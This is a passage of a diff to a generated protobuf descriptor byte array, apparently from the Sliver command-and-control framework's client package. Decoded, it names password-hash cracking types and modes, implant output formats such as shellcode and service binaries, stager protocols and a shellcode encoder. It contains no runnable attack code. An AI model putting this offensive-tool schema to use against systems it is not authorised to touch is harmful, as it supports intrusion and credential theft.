0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, - 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, - 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, - 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, - 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, - 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, - 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, - 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, - 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, - 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, - 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, - 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, - 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, - 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, - 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, - 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, - 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, - 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, - 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, - 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, - 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, - 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, - 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, - 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, - 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, - 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, - 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, - 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, - 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, - 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, - 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, - 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, - 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, - 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, - 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, - 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, - 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, - 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, - 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, - 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, - 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, - 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, - 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, - 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, - 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, - 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, - 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, - 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, - 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, - 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, - 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, - 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, - 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, - 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, - 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, - 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, - 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, - 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, - 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, - 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, - 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, - 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, - 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, - 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, - 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, + 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, + 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, + 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, + 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, + 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, + 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, + 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, + 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, + 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, + 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, + 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, + 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, + 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, + 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, + 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, + 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, + 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, + 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, + 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, + 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, + 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, + 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, + 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, + 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, + 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, + 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, + 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, + 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, + 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, + 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, + 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, + 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, + 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, + 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, + 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, + 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, + 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, + 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, + 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, + 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, + 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, + 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, + 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, + 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, + 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, + 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, + 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, + 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, + 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, + 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, + 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, + 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, + 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, + 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, + 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, + 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, + 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, + 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, + 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, + 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, + 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, + 0x55, 0x52, 0x4d, 0x55, 0x52, 